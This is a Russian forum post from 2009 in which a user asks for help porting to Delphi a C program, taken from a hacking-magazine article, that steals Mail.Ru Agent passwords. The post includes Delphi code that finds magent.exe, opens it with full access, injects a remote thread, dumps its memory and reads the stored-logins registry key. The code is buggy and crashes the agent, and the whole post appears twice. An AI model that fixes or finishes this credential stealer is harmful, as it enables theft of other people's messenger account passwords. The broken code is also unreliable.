denjf
31.03.2009, 07:45
Спецы по Delphi помогите с кодом.
Значит я прочитал статью
http://www.xakep.ru/post/42226/default.asp
В ней говорится про кражу паролей из пямяти майл агента.
В ней дан код программы на С.
я пытаюсь переписать этот же код на Delphi.
половину я переделал и встал колом по следующим причинам!
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,tlhelp32, PsAPI, Registry;
procedure TForm1.Button1Click(Sender: TObject);
var
p:PROCESSENTRY32;
ct:cardinal;
th:Cardinal;
ts:TSearchRec;
sst:STARTUPINFO;
ss,s:string;
agent:thandle;
module: HModule;
car:cardinal;
hThread:thandle;
modinfo: MODULEINFO;
buffer: longint;
dwReaded: DWORD;
i,t, retCode, cValues: DWORD;
regValue: array[0..256] of char;
cchValue:DWORD;
szEmail:pchar;
iEmail:integer;
found:boolean;
Reg:HKEY;
begin
ct:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
Process32First(ct,p);
while Process32Next(ct,p) do begin
(p.szExeFile) then
OpenProcessToken(p.th32ProcessID,TOKEN_READ,th);
ListBox1.Items.Append(string(p.szExeFile));
if string(p.szExeFile)='magent.exe' then begin
listbox2.Items.append(string(p.szExeFile));
agent:=OpenProcess(PROCESS_ALL_ACCESS,FALSE,p.th32 ProcessID);
end;
end;
CloseHandle(ct);
hThread:= CreateRemoteThread(agent,nil,0,@GetModuleHandle, nil,0,hthread);
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread , Module);
CloseHandle(hThread);
GetModuleInformation(agent,Module, @modinfo,sizeof(MODULEINFO));
ReadProcessMemory(agent,modinfo.lpBaseOfDll,addr(B uffer),modinfo.SizeOfImage,dwReaded);
if dwReaded>0 then begin
RegOpenKeyEx(HKEY_CURRENT_USER,'Software\\Mail.Ru\ \Agent\\magent_logins' ,0,KEY_QUERY_VALUE,reg);
cchValue:=1024;
retCode := RegEnumValue(reg, 0,regValue,cchValue, NiL, NiL, NiL, NiL);
label1.Caption:=regvalue;
end;
end;
при запуске процедуры когда программа пытается считать дамп агента. выскакивает ошибка MailAgent и говорит что инструкция по адресу 0х0000000 оьратилась к памяти по адресу 0х0000000. память не может быть read. После нажатия ОК Magent вылетает!
Помогите кто че нибуть в этом монимает! Заранее спасибо!
Значит я прочитал статью
http://www.xakep.ru/post/42226/default.asp
В ней говорится про кражу паролей из пямяти майл агента.
В ней дан код программы на С.
я пытаюсь переписать этот же код на Delphi.
половину я переделал и встал колом по следующим причинам!
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,tlhelp32, PsAPI, Registry;
procedure TForm1.Button1Click(Sender: TObject);
var
p:PROCESSENTRY32;
ct:cardinal;
th:Cardinal;
ts:TSearchRec;
sst:STARTUPINFO;
ss,s:string;
agent:thandle;
module: HModule;
car:cardinal;
hThread:thandle;
modinfo: MODULEINFO;
buffer: longint;
dwReaded: DWORD;
i,t, retCode, cValues: DWORD;
regValue: array[0..256] of char;
cchValue:DWORD;
szEmail:pchar;
iEmail:integer;
found:boolean;
Reg:HKEY;
begin
ct:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
Process32First(ct,p);
while Process32Next(ct,p) do begin
(p.szExeFile) then
OpenProcessToken(p.th32ProcessID,TOKEN_READ,th);
ListBox1.Items.Append(string(p.szExeFile));
if string(p.szExeFile)='magent.exe' then begin
listbox2.Items.append(string(p.szExeFile));
agent:=OpenProcess(PROCESS_ALL_ACCESS,FALSE,p.th32 ProcessID);
end;
end;
CloseHandle(ct);
hThread:= CreateRemoteThread(agent,nil,0,@GetModuleHandle, nil,0,hthread);
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread , Module);
CloseHandle(hThread);
GetModuleInformation(agent,Module, @modinfo,sizeof(MODULEINFO));
ReadProcessMemory(agent,modinfo.lpBaseOfDll,addr(B uffer),modinfo.SizeOfImage,dwReaded);
if dwReaded>0 then begin
RegOpenKeyEx(HKEY_CURRENT_USER,'Software\\Mail.Ru\ \Agent\\magent_logins' ,0,KEY_QUERY_VALUE,reg);
cchValue:=1024;
retCode := RegEnumValue(reg, 0,regValue,cchValue, NiL, NiL, NiL, NiL);
label1.Caption:=regvalue;
end;
end;
при запуске процедуры когда программа пытается считать дамп агента. выскакивает ошибка MailAgent и говорит что инструкция по адресу 0х0000000 оьратилась к памяти по адресу 0х0000000. память не может быть read. После нажатия ОК Magent вылетает!
Помогите кто че нибуть в этом монимает! Заранее спасибо!